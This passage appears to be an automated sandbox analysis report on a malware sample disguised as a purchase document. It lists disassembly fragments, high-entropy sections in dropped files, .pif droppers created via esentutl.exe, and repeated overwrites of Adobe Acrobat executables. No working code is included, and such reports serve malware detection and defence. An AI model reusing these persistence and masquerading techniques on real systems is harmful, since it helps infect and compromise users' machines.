Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B3D2FC push 02B3D367h; ret	0_2_02B3D35F
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B163B0 push 02B1640Bh; ret	0_2_02B16403
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B163AE push 02B1640Bh; ret	0_2_02B16403
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B1332C push eax; ret	0_2_02B13368
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B3C378 push 02B3C56Eh; ret	0_2_02B3C566
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B1C349 push 8B02B1C1h; ret	0_2_02B1C34E
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B3D0AC push 02B3D125h; ret	0_2_02B3D11D
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2306B push 02B230B9h; ret	0_2_02B230B1
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2306C push 02B230B9h; ret	0_2_02B230B1
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B3D1F8 push 02B3D288h; ret	0_2_02B3D280
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2F108 push ecx; mov dword ptr [esp], edx	0_2_02B2F10D
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B3D144 push 02B3D1ECh; ret	0_2_02B3D1E4
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B16782 push 02B167C6h; ret	0_2_02B167BE
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B16784 push 02B167C6h; ret	0_2_02B167BE
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B1D5A0 push 02B1D5CCh; ret	0_2_02B1D5C4
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B3C570 push 02B3C56Eh; ret	0_2_02B3C566
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B1C56C push ecx; mov dword ptr [esp], edx	0_2_02B1C571
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2AAE0 push 02B2AB18h; ret	0_2_02B2AB10
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B28AD8 push 02B28B10h; ret	0_2_02B28B08
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2AADF push 02B2AB18h; ret	0_2_02B2AB10
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B1CA4E push 02B1CD72h; ret	0_2_02B1CD6A
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B1CBEC push 02B1CD72h; ret	0_2_02B1CD6A
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2886C push 02B288AEh; ret	0_2_02B288A6
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B84850 push eax; ret	0_2_02B84920
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B2790C push 02B27989h; ret	0_2_02B27981
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B26946 push 02B269F3h; ret	0_2_02B269EB
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B26948 push 02B269F3h; ret	0_2_02B269EB
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B25E7C push ecx; mov dword ptr [esp], edx	0_2_02B25E7E
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: 0_2_02B22F60 push 02B22FD6h; ret	0_2_02B22FCE
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00423149 push eax; ret	9_1_00423179
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_004231C8 push eax; ret	9_1_00423179

Source: OfficeC2RClient.exe.9.dr	Static PE information: section name: .reloc entropy: 7.716531641683351
Source: AutoIt3_x64.exe.9.dr	Static PE information: section name: .reloc entropy: 7.943923715486162
Source: SciTE.exe.9.dr	Static PE information: section name: .reloc entropy: 7.912306761260712
Source: jucheck.exe.9.dr	Static PE information: section name: .reloc entropy: 7.931066535936268
Source: jusched.exe.9.dr	Static PE information: section name: .reloc entropy: 7.9360449857967845
Source: officesvcmgr.exe.9.dr	Static PE information: section name: .reloc entropy: 7.937214975696088
Source: chrome_pwa_launcher.exe.9.dr	Static PE information: section name: .reloc entropy: 7.940578250020388
Source: chrmstp.exe.9.dr	Static PE information: section name: .reloc entropy: 7.941007655078489
Source: setup.exe.9.dr	Static PE information: section name: .reloc entropy: 7.941016483532946
Source: notification_helper.exe.9.dr	Static PE information: section name: .reloc entropy: 7.941922342165591
Source: chrome_proxy.exe.9.dr	Static PE information: section name: .reloc entropy: 7.939822159897867
Source: default-browser-agent.exe.9.dr	Static PE information: section name: .reloc entropy: 7.941521323195514
Source: firefox.exe.9.dr	Static PE information: section name: .reloc entropy: 7.938877607948963
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: section name: .reloc entropy: 7.934758045410535
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: section name: .reloc entropy: 7.9347595380157845
Source: AppVClient.exe.9.dr	Static PE information: section name: .reloc entropy: 7.936511892174674
Source: FXSSVC.exe.9.dr	Static PE information: section name: .reloc entropy: 7.9422618484251535
Source: elevation_service.exe.9.dr	Static PE information: section name: .reloc entropy: 7.9439487512723215
Source: elevation_service.exe0.9.dr	Static PE information: section name: .reloc entropy: 7.9459521432086095
Source: SensorDataService.exe.9.dr	Static PE information: section name: .reloc entropy: 7.9353733378156495
Source: Spectrum.exe.9.dr	Static PE information: section name: .reloc entropy: 7.945441823870061
Source: AgentService.exe.9.dr	Static PE information: section name: .reloc entropy: 7.9371088687797275
Source: vds.exe.9.dr	Static PE information: section name: .reloc entropy: 7.941063416564255
Source: VSSVC.exe.9.dr	Static PE information: section name: .reloc entropy: 7.939522654308565
Source: wbengine.exe.9.dr	Static PE information: section name: .reloc entropy: 7.941271109507692
Source: wmpnetwk.exe.9.dr	Static PE information: section name: .reloc entropy: 7.946597973181
Source: identity_helper.exe.9.dr	Static PE information: section name: .reloc entropy: 7.929614491235706
Source: setup.exe0.9.dr	Static PE information: section name: .reloc entropy: 7.933869100083904
Source: msedgewebview2.exe.9.dr	Static PE information: section name: .reloc entropy: 7.925314997991553

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\alg.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\3f155f6931e417df.bin

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif	Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\xpha.pif	Jump to dropped file
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	File created: C:\Users\Public\Libraries\ymafvvdS.pif	Jump to dropped file

Drops executable to a common third party application directory

Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
